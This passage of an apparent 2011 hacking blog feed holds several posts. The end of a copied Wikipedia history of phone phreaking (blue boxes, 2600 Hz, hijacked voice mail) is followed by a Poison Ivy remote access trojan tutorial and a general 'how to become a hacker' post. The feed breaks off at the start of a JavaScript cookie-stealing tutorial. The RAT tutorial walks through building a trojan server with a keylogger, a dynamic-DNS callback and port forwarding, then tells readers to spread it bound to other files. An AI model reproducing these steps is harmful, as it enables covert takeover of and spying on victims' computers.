calls, pick up another phone line,  call their answering service, and bridge the two lines together. This  gave the appearance to the caller that they were directly forwarded to  the company's answering service. The switching equipment would typically  reset the line after the call had hung up and timed out back to dial  tone, so the caller could simply wait after the answering service had  disconnected, and would eventually get a usable dial tone from the  second line. Phreakers recognized the opportunity this provided, and  they would spend hours manually dialing businesses after hours,  attempting to identify faulty diverters. Once a phreaker had access to  one of these lines, he could use it for one of many purposes. In  addition to completing phone calls anywhere in the world at the  business' expense, they could also dial 1-900 phone sex/entertainment  numbers, as well as use the phone line to harass their enemies without  fear of being traced. Victimized small businesses were usually required  to foot the bill for the long distance calls, as it was their own  private equipment (not phone company security flaws) that allowed such  fraud to occur. By 1993, call forwarding was offered to nearly every  business line subscriber, making these diverters obsolete. As a result,  hackers stopped searching for the few remaining ones, and this method of  toll fraud died.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=9" title="Edit section: Voice mail boxes and bridges"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Voice_mail_boxes_and_bridges"&gt;Voice mail boxes and bridges&lt;/span&gt;&lt;/h3&gt;Prior to the BBS era of the 1980s phone phreaking was more of a  solitary venture as it was difficult for phreaks to connect with one  another. In addition to communicating over BBSs phone phreaks discovered  &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Voice_mail" title="Voice mail"&gt;voice mail&lt;/a&gt; boxes and &lt;a href="http://en.wikipedia.org/wiki/Party_line_%28telephony%29" title="Party line (telephony)"&gt;party lines&lt;/a&gt;  as ways to network and keep in touch over the telephone. It was rare  for a phone phreak to legally purchase access to voice mail. Instead,  they usually would appropriate unused boxes that were part of business  or cellular phone systems. Once a vulnerable mailbox system was  discovered, word would spread around the phreak community, and scores of  them would take residence on the system. They would use the system as a  &lt;a href="http://en.wikipedia.org/wiki/Dead_drop" title="Dead drop"&gt;"home base"&lt;/a&gt;  for communication with one another until the rightful owners would  discover the intrusion and wipe them off. Voice mailboxes also provided a  safe phone number for phreaks to give out to one another as home phone  numbers would allow the phreak's identity (and home address) to be  discovered. This was especially important given that phone phreaks were  breaking the law.&lt;br /&gt;Phreakers also used "bridges" to communicate live with one another.  The term "bridge" originally referred to a group of telephone company  test lines that were bridged together giving the effect of a party-line.  Eventually, all party-lines, whether bridges or not, came to be known  as bridges if primarily populated by hackers and/or phreakers.&lt;br /&gt;The popularity of the Internet in the mid-1990s, along with the  better awareness of voice mail by business and cell phone owners, made  the practice of stealing voice mailboxes less popular. To this day  bridges are still very popular with phreakers yet, with the advent of  VoIP, the use of telephone company owned bridges has decreased slightly  in favor of phreaker-owned conferences.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=10" title="Edit section: Cell phones"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Cell_phones"&gt;Cell phones&lt;/span&gt;&lt;/h3&gt;By the late 1990s, the fraudulent aspect of phreaking all but vanished. Most &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Cellular_phones" title="Cellular phones"&gt;cellular phones&lt;/a&gt;  offered unlimited domestic long distance calling for the price of  standard airtime (often totally unlimited on weekends), and flat-rate  long-distance plans appeared offering unlimited home phone long distance  for as little as $25 per month. International calling could be made  very cheaply, as well. Between the much higher risk of being caught (due  to advances in technology) and the much lower gain of making free phone  calls, toll fraud started to become a concept associated very little  with phreaking.&lt;br /&gt;&lt;h3&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=11" title="Edit section: End of multi-frequency"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="End_of_multi-frequency"&gt;End of multi-frequency&lt;/span&gt;&lt;/h3&gt;The end of &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Multi-frequency" title="Multi-frequency"&gt;multi-frequency&lt;/a&gt; (MF) phreaking in the lower 48 United States occurred on June 15, 2006, when the last exchange in the continental &lt;a href="http://en.wikipedia.org/wiki/United_States"&gt;United States&lt;/a&gt; to use a "phreakable" MF-signalled trunk replaced the aging (yet still well kept) &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=N-carrier&amp;amp;action=edit&amp;amp;redlink=1" title="N-carrier (page does not exist)"&gt;N2 carrier&lt;/a&gt; with a &lt;a href="http://en.wikipedia.org/wiki/T-carrier" title="T-carrier"&gt;T1 carrier&lt;/a&gt;. This exchange, located in &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Wawina_Township,_Minnesota" title="Wawina Township, Minnesota"&gt;Wawina Township, Minnesota&lt;/a&gt;, was run by the &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Northern_Telephone_Company_of_Minnesota&amp;amp;action=edit&amp;amp;redlink=1" title="Northern Telephone Company of Minnesota (page does not exist)"&gt;Northern Telephone Company of Minnesota&lt;/a&gt;.  Many phone phreaks from across North America and the world made calls  into what was the last group of MF-able inward trunks in the continental  United States. A message board was set up for Paul Revere on +1 (218)  488-1307, for phone phreaks across the world to "say their goodbyes" to  MF signalling and the N2 in Wawina.&lt;br /&gt;During the days prior to the cutover, many famous phone phreaks such as &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Mark_Bernay&amp;amp;action=edit&amp;amp;redlink=1" title="Mark Bernay (page does not exist)"&gt;Mark Bernay&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Joybubbles"&gt;Joybubbles&lt;/a&gt;, &lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=Bob_Bernay&amp;amp;action=edit&amp;amp;redlink=1" title="Bob Bernay (page does not exist)"&gt;Bob Bernay&lt;/a&gt;, and &lt;a href="http://en.wikipedia.org/wiki/John_Draper" title="John Draper"&gt;Captain Crunch&lt;/a&gt; could be heard leaving their comments on the message board. The official date for the cutover from N2 to &lt;a href="http://en.wikipedia.org/wiki/T-carrier"&gt;T-carrier&lt;/a&gt;  was Wednesday, June 14. As early as June 7, there was a noticeable  static on what had previously been clear lines. By Monday, June 12, many  numbers were unreachable, and the static had peaked. The recording on  +1 (218) 488-1307 was generally inaccessible, and MFing through the  switch was becoming increasingly difficult due to the increased static.  On June 15, at around 1:40&amp;nbsp;am, Eastern Daylight Time, any new incoming  calls were unreachable}. As of July 20, 2010, the message played at +1  (218) 488-1307 was simply the current time for Wawina, Minnesota.&lt;sup class="reference" id="cite_ref-9"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-9"&gt;&lt;span&gt;[&lt;/span&gt;10&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;br /&gt;&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=12" title="Edit section: 2600 Hz"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="2600_Hz"&gt;2600 Hz&lt;/span&gt;&lt;/h2&gt;&lt;table class="metadata plainlinks ambox ambox-move"&gt;&lt;tbody&gt;&lt;tr&gt; &lt;td class="mbox-image"&gt; &lt;div style="width: 52px;"&gt;&lt;a class="image" href="http://en.wikipedia.org/wiki/File:Merge-arrow.svg"&gt;&lt;img alt="Merge-arrow.svg" height="20" src="http://upload.wikimedia.org/wikipedia/commons/thumb/a/aa/Merge-arrow.svg/50px-Merge-arrow.svg.png" width="50" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt; &lt;td class="mbox-text"&gt;It has been suggested that this article or section be &lt;a href="http://en.wikipedia.org/wiki/Wikipedia:Merging" title="Wikipedia:Merging"&gt;merged&lt;/a&gt; into &lt;i&gt;&lt;a href="http://en.wikipedia.org/wiki/2600_hertz"&gt;2600 hertz&lt;/a&gt;&lt;/i&gt;. (&lt;a href="http://en.wikipedia.org/wiki/Talk:2600_hertz" title="Talk:2600 hertz"&gt;Discuss&lt;/a&gt;)&lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;In the original analog networks, short-distance telephone calls were  completed by sending relatively high-power electrical signals through  the wires to the &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/End_office" title="End office"&gt;end office&lt;/a&gt;,  which then switched the call. This technique could not be used for  long-distance connections, because the signals would be filtered out due  to &lt;a href="http://en.wikipedia.org/wiki/Capacitance"&gt;capacitance&lt;/a&gt;  in the wires. Long-distance switching remained a manual operation years  after short-distance calls were automated, requiring operators at either  end of the line to set up the connections.&lt;br /&gt;Bell automated this process by sending "in-band" signals. Since the  one thing the long-distance trunks were definitely able to do was send  voice-frequency signals, the Bell system used a selection of tones sent  over the trunks to control the system. When calling long-distance, the  local end-office switch would first route the call to a special switch  (this is why it is necessary to dial "1" in North America or "0" in most  of Europe for long-distance calls) which would then convert further  dialing into tones and send them over an appropriately selected trunk  line (selected with the area code). A similar machine at the far end of  the trunk would decode the tones back into electrical signals, and the  call would complete as normal.&lt;br /&gt;In addition to dialing instructions, the system also included a  number of other tones that represented various commands or status.  2600&amp;nbsp;Hz, the key to early phreaking, was the &lt;a href="http://en.wikipedia.org/wiki/Frequency"&gt;frequency&lt;/a&gt; of the tone sent by the long-distance switch indicating that the user has gone &lt;a href="http://en.wikipedia.org/wiki/On-hook"&gt;on-hook&lt;/a&gt;  (hung up the phone). This normally resulted in the remote switch also  going on-hook, freeing the trunk for other uses. In order to make free  lines easy to find, the 2600&amp;nbsp;Hz tone was continually played into free  trunks. Engressia's whistling had triggered the remote switch to go  on-hook, but critically, the &lt;i&gt;local&lt;/i&gt; switch knew he was still  off-hook because that was signaled electrically. The system was now in  an inconsistent state, leaving him connected to an operational  long-distance trunk line. With further experimentation, the phreaks  learned the rest of the signals needed to dial on the remote switch.&lt;br /&gt;Normally long-distance calls are billed locally. Since the "trick"  required a long distance call to be placed in order to connect to the  remote switch, it would be billed like normal. However there are a class  of calls that have either no billing, like calls to directory service,  or reverse the billing, like &lt;a href="http://en.wikipedia.org/wiki/Wide_Area_Telephone_Service" title="Wide Area Telephone Service"&gt;WATS&lt;/a&gt;  lines (1-800 numbers). By dialing one of these numbers the user was  connected to a remote switch as normal, but no billing record was made  locally. A number of people in the 1960s discovered a loophole that  resulted from this combination of features that allowed free long  distance calls to be made. First you would dial a toll-free number in  the area code you wanted to connect to, then play the 2600&amp;nbsp;Hz tone into  the line to return the remote switch to on-hook, and then use a &lt;a href="http://en.wikipedia.org/wiki/Blue_box"&gt;blue box&lt;/a&gt; to dial the number you wanted to connect to. The local Bell office would have no record of the call.&lt;br /&gt;As knowledge of phreaking spread, a minor culture emerged from the increasing number of phone phreaks. Sympathetic (or easily &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Social_engineering_%28computer_security%29" title="Social engineering (computer security)"&gt;social-engineered&lt;/a&gt;)  telephone company employees began to provide the various routing codes  to use international satellites and trunk lines. At the time it was felt  that there was nothing Bell could do to stop this. Their entire network  was based on this system, so changing the system in order to stop the  phreakers would require a massive infrastructure upgrade.&lt;br /&gt;In fact, Bell responded fairly quickly, but in a more targeted  fashion. Looking on local records for inordinately long calls to  directory service or other hints that phreakers were using a particular  switch, filters could then be installed to block efforts at that end  office. Many phreakers were forced to use pay telephones as the  telephone company technicians regularly tracked long-distance toll free  calls in an elaborate cat-and-mouse game. AT&amp;amp;T instead turned to the  law for help, and a number of phreaks were caught by the government.&lt;br /&gt;Eventually, the phone companies in North America did, in fact,  replace all their hardware. They didn't do it to stop the phreaks, but  simply as a matter of course while moving to fully digital switching  systems. Unlike the crossbar, where the switching signals and voice were  carried on the same lines, the new systems used separate lines for  signalling that the phreaks couldn't get to. This system is known as &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Common_Channel_Interoffice_Signaling" title="Common Channel Interoffice Signaling"&gt;Common Channel Interoffice Signaling&lt;/a&gt;.  Classic phreaking with the 2600&amp;nbsp;Hz tone continued to work in more  remote locations into the 1980s, but was of little use in North America  by the 1990s.&lt;br /&gt;&lt;h2&gt;&lt;span class="editsection"&gt;[&lt;a href="http://en.wikipedia.org/w/index.php?title=Phreaking&amp;amp;action=edit&amp;amp;section=13" title="Edit section: Famous phone phreaks"&gt;edit&lt;/a&gt;]&lt;/span&gt; &lt;span class="mw-headline" id="Famous_phone_phreaks"&gt;Famous phone phreaks&lt;/span&gt;&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/John_Draper"&gt;John Draper&lt;/a&gt; (&lt;i&gt;Captain Crunch&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Mark_Abene"&gt;Mark Abene&lt;/a&gt; (&lt;i&gt;Phiber Optik&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Denny_Teresi"&gt;Denny Teresi&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Joybubbles"&gt;Joybubbles&lt;/a&gt; (Joe Engressia, &lt;i&gt;The Whistler&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Patrick_Kroupa" title="Patrick Kroupa"&gt;Patrick Kroupa&lt;/a&gt; (&lt;i&gt;Lord Digital&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Kevin_Mitnick"&gt;Kevin Mitnick&lt;/a&gt; (&lt;i&gt;Condor&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Kevin_Poulsen"&gt;Kevin Poulsen&lt;/a&gt; (&lt;i&gt;Dark Dante&lt;/i&gt;)&lt;/li&gt;&lt;/ul&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Steve_Wozniak"&gt;Steve Wozniak&lt;/a&gt; (&lt;i&gt;Berkeley Blue&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Lucky225" title="Lucky225"&gt;Jered Morgan&lt;/a&gt; (&lt;i&gt;Lucky225&lt;/i&gt;)&lt;sup class="reference" id="cite_ref-10"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-10"&gt;&lt;span&gt;[&lt;/span&gt;11&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;C. Douglas Brickner (&lt;i&gt;doug&lt;/i&gt;)&lt;sup class="reference" id="cite_ref-11"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-11"&gt;&lt;span&gt;[&lt;/span&gt;12&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Direct_Access_Test_Unit" title="Direct Access Test Unit"&gt;William Quinn&lt;/a&gt; (&lt;i&gt;decoder&lt;/i&gt;) &lt;sup class="reference" id="cite_ref-12"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-12"&gt;&lt;span&gt;[&lt;/span&gt;13&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&lt;li&gt;&lt;a class="new" href="http://en.wikipedia.org/w/index.php?title=TRON_%28Phreak%29&amp;amp;action=edit&amp;amp;redlink=1" title="TRON (Phreak) (page does not exist)"&gt;Kane Ryan Marlow&lt;/a&gt; (&lt;i&gt;TRON&lt;/i&gt;) (&lt;b&gt;Not to be confused with &lt;a class="mw-redirect" href="http://en.wikipedia.org/wiki/Tron_%28Hacker%29" title="Tron (Hacker)"&gt;Boris Floricic&lt;/a&gt;&lt;/b&gt;&lt;sup class="reference" id="cite_ref-13"&gt;&lt;a href="http://en.wikipedia.org/wiki/Phreaking#cite_note-13"&gt;&lt;span&gt;[&lt;/span&gt;14&lt;span&gt;]&lt;/span&gt;&lt;/a&gt;&lt;/sup&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Phone_Losers_of_America" title="Phone Losers of America"&gt;Brad Carter&lt;/a&gt; (&lt;i&gt;RBCP&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;&lt;a href="http://en.wikipedia.org/wiki/Matt_Blaze"&gt;Matt Blaze&lt;/a&gt; (&lt;i&gt;M.F. Tones&lt;/i&gt;)&lt;/li&gt;&lt;li&gt;[Never Identified] (&lt;b&gt;Phrackula&lt;/b&gt;, founder/leader of &lt;b&gt;Illuminati&lt;/b&gt; Hack/Phreak group, active 1966-1992)&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-2694111966421298945?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/2694111966421298945/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/phreaking.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2694111966421298945'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2694111966421298945'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/phreaking.html' title='Phreaking'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-8000558402332460901</id><published>2011-04-08T02:33:00.001-07:00</published><updated>2011-04-08T02:33:50.660-07:00</updated><title type='text'>RAT Tutorial - Poison Ivy</title><content type='html'>Note: I am not responsible for anything you do, ever. You are. I am  posting this because I am very interested in RATs and coding my own. You  alone are solely responsible of your actions, intentions, and accept so  by reading the following. Intended for education purposes relating to  any and all of the content below. It must be stressed that the poster is  in no way to be held responsible for anything resulting from the  addition of the below to your knowledge, or anything resulting from such  an addition.&lt;br /&gt;&lt;br /&gt;Note: This tutorial was writen by me and you are free to repost this as  you please as long as you give full credit to me. You are in no way  entitled to steal/copy my work without giving credit to me. but now i  dont really care&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requirements:&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;no-ip.biz account (see below for instructions)&lt;br /&gt;RAT of your choice, I will be showing Poison Ivy&lt;br /&gt;No-IP client&lt;br /&gt;Know how to port forward (people behind routers only)&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Intro to RATs&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;So here we go. I'm going to show you how to setup a RAT. A RAT can stand for a few things:&lt;br /&gt;Remote Administration Tool&lt;br /&gt;Remote Access Tool&lt;br /&gt;Remote Access Trojan&lt;br /&gt;Remote Administration Trojan&lt;br /&gt;and probably more.&lt;br /&gt;In any event, it doesn't matter. What you need to know is that it allows  you to access the target computer from yours, using the trojan. Now it  may help you to look this up on &lt;br /&gt;&lt;div class="codeblock"&gt; &lt;div class="title"&gt;Code:&lt;br /&gt;&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code&gt;wikipedia. http://en.wikipedia.org/wiki/Remote_administration_tool&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;No IP&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;First of all, go here &lt;div class="codeblock"&gt; &lt;div class="title"&gt;Code:&lt;br /&gt;&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code&gt;http://www.no-ip.com/newUser.php&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;and sign up for an account there. After that log into the site with the account you just created and add your new domain. &lt;span style="font-weight: bold;"&gt;SEE PIC no-ip.png&lt;/span&gt;&lt;br /&gt;[attachment=2095]&lt;br /&gt;&lt;br /&gt;Now download the dynamic update client from the downloads tab at the top  of the no-ip site. Install that when you are done, and you can update  your IP for your domain by logging into the client and updating. Pretty  easy.&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Port Forwarding&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;If you are not behind a router, skip this. If you are, read on.&lt;br /&gt;&lt;br /&gt;You should know how to forward ports on your router. If you dont, head  to google, and find out. Each router is different. Usually you can type  192.168.1.1 (or your router's IP address for your LAN) in the address  bar of your browser. If you got the right LAN IP, a login box will  appear, log in. Default is usually admin:password, or something similar.  You're on your own here.&lt;br /&gt;When you finally get int, forward port 3460. That's all.&lt;br /&gt;Hulk11 pointed out that admin:admin is commonly used in routers as well.&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Getting the RAT&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;Head over to &lt;div class="codeblock"&gt; &lt;div class="title"&gt;Code:&lt;br /&gt;&lt;/div&gt;&lt;div class="body" dir="ltr"&gt;&lt;code&gt;http://www.poisonivy-rat.com/index.php?link=download&lt;/code&gt;&lt;/div&gt;&lt;/div&gt;and download the latest version. At the time of posting it was 2.3.2. &lt;br /&gt;Download that and unzip it.&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Using the RAT&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;Open up poison ivy, and click File&amp;gt;New Client. We are going to set up  Poison Ivy to listen for connections on the port you forwarded. Default  is 3460. Type in a password for your RAT and click start. You will need  this password later.&lt;br /&gt;&lt;br /&gt;Now File&amp;gt;New Server. Click create profile. Make it look like  Server1.png Be sure that the password you put here and the password here  match.&lt;br /&gt;[attachment=2092]&lt;br /&gt;&lt;br /&gt;Click next and make your server look like Server2.png.&lt;br /&gt;&lt;br /&gt;[attachment=2093]&lt;br /&gt;You will need to select Active X and click the random button. Having  the server melt is up to you, I wouldn't pick melt when it is bound to  another file. When the file is sent by itself, usually choose to melt  it. Click next&lt;br /&gt;&lt;br /&gt;Make your server look like Server3.png. Ignore the thing about the keylogger making it unstable. Not much else here. Click next.&lt;br /&gt;[attachment=2094]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;You can choose an icon here, or use a resource editor like ResHacker to  chage it later. After you do that, click Generate at the bottom and save  the .EXE somewhere.&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Testing the RAT&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;You can run the server on yourself to test it, this is relatively safe  because you have the password to connect to it. When you run the server,  you should see yourself in the Poison Ivy Connection's tab.&lt;br /&gt;Notice the pop up box from the system try alerting you of a new connection. That's nice. You can see this in Working.png&lt;br /&gt;[attachment=2096]&lt;br /&gt;I have edited out the IP addresses of those not on my LAN as well as  their computer user names and such in order to protect them. To connect  to a server, double click the entry in the connections tab. Behold! You  are in their PC!&lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Distributing&lt;/span&gt;&lt;br /&gt;---------------------------------&lt;br /&gt;You can distribute the server file by itself, or bind it to other files.  This is where you get to do as you please. Get creative! &lt;br /&gt;---------------------------------&lt;br /&gt;&lt;br /&gt;Well that is about it. You can use this knowledge with other RATs and  such. If this helped you, rep me or whatever. Don't steal my work, and  have fun! Keep in mind both "Note:"s at the beginning of this post.  Thanks!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-8000558402332460901?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/8000558402332460901/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/rat-tutorial-poison-ivy.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/8000558402332460901'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/8000558402332460901'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/rat-tutorial-poison-ivy.html' title='RAT Tutorial - Poison Ivy'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-2283180349147501449</id><published>2011-04-08T02:31:00.001-07:00</published><updated>2011-04-08T02:31:54.604-07:00</updated><title type='text'>Hacking Simplified - For Those Who Want to Learn Things From the Scratch</title><content type='html'>&lt;h1&gt;Hacking Simplified - For Those Who Want to Learn Things From the Scratch&lt;/h1&gt;It's  quite probable that you have received spam offering a hotmail hacking  guide that will give you the basics on how to become a hacker. Although  it sounds tempting to have the power to know the private life of other  persons, most of these guides and courses are nothing but scams that are  looking for new victims.    &lt;div class="add"&gt;       &lt;/div&gt;If you really want to become a hacker, you need to go to the places  were they gather: a hacking facebook, a hacker's forum, free hacking  tutorials or even a mailing list. The information is out there. You only  need to go and find it.&lt;br /&gt;&lt;h4&gt;Where Can You Get Material on Hacking and Information on Hacking&lt;/h4&gt;There  are two main sources. The first one is the Internet. You will have to  make a basic query in your favorite search engine with the word hacker  and start looking each one of the suggested sites. Most of them will  only offer you limited tutorials on how to hack (like the Hacker's Black  book or the Happy Hacker book, which are outdated). Other's will give  you an useful insight on this world. After some time, you will find  forums were people from around the world share their experiences.&lt;br /&gt;&lt;br /&gt;Do  not expect to enter an easy world. The jargon used by a group of  hackers can be quite confusing for any beginner. So don't feel that you  will never be part of it.    Start with the basics and read "How to become a hacker" from Eric S.  Rymond. Although the document is five years old, it will give you an  introductory crash course on were do you need to start.&lt;br /&gt;&lt;br /&gt;The  second source is face to face reunions. Get into the internet and search  for any hacker's meeting in your vicinity. You will be surprised to  find that they meet quite regularly. Of course, do not expect to find a  Matrix kind of reunion. This is serious, professional people that pay  their rent by hacking. Drop by and make some questions on hacking  tutorials.&lt;h4&gt;What Is The Hackers Bible?&lt;/h4&gt;The hacker's bible has two  possible sources, depending on whom do you ask. For some people, it is  none other but the magazine 2600: The Hacker Quarterly. This magazine  was created by Emmanuel Goldstein, and it focuses on aspects of  different technologies. For example, it covers telecommunication devices  as well as computers.&lt;br /&gt;&lt;br /&gt;The magazine gives to its readers grey  hacker's material.    That means that it gives them information on how to augment the  capacities of any electronic apparatus, such as a cell phone. This  neutral posture is different to white hacking (were a hacker uses his  abilities for a good cause, like detecting the vulnerabilities of a  network) and black hacking (were a hacker uses his knowledge for selfish  purposes, like creating a hotmail hacking guide).&lt;br /&gt;&lt;br /&gt;The other  Hacker's Bible is the Jargon File. This document is a glossary of hacker  slang that has been collected since 1975, from the old days of the  Arpanet (the precursor of the Internet).&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5543184233446097251-2283180349147501449?l=hack2learn.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hack2learn.blogspot.com/feeds/2283180349147501449/comments/default' title='Objavi komentare'/><link rel='replies' type='text/html' href='http://hack2learn.blogspot.com/2011/04/hacking-simplified-for-those-who-want.html#comment-form' title='0 komentara'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2283180349147501449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5543184233446097251/posts/default/2283180349147501449'/><link rel='alternate' type='text/html' href='http://hack2learn.blogspot.com/2011/04/hacking-simplified-for-those-who-want.html' title='Hacking Simplified - For Those Who Want to Learn Things From the Scratch'/><author><name>Yazlla91</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='29' src='http://1.bp.blogspot.com/-7d8SoxFJWUQ/TZ63LdCH2kI/AAAAAAAAABo/IyeH6lbyVPA/s220/how-to-hack-a-computer.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5543184233446097251.post-4623105505069042765</id><published>2011-04-08T00:09:00.001-07:00</published><updated>2011-04-08T00:09:20.800-07:00</updated><title type='text'>Hacking With Javascript</title><content type='html'>&lt;span id="startOfPage"&gt;&lt;/span&gt; &lt;br /&gt;&lt;div class="articleText"&gt; &lt;div class="articleIntrotext"&gt; &lt;span class="sbDropCap"&gt; &lt;/span&gt;  Things  to come: example of stealing info from users (anti-virus  programs and  trojans), story of ciru cookie stealing from acanium,  ThePull's  javascript exploits, and the about:// exploit.&amp;nbsp; Since so many  people  were asking when this tutorial would come out I decided to  finally put  it up.&amp;nbsp; I'd appriecated some feedback.&amp;nbsp; Flames without a  reason are not  welcome. This tutorial is not completely finished.. and  probably never  will be :( -idea: cross site scriptting by opening a new  page in a  frame and then writting to form fields or somehow 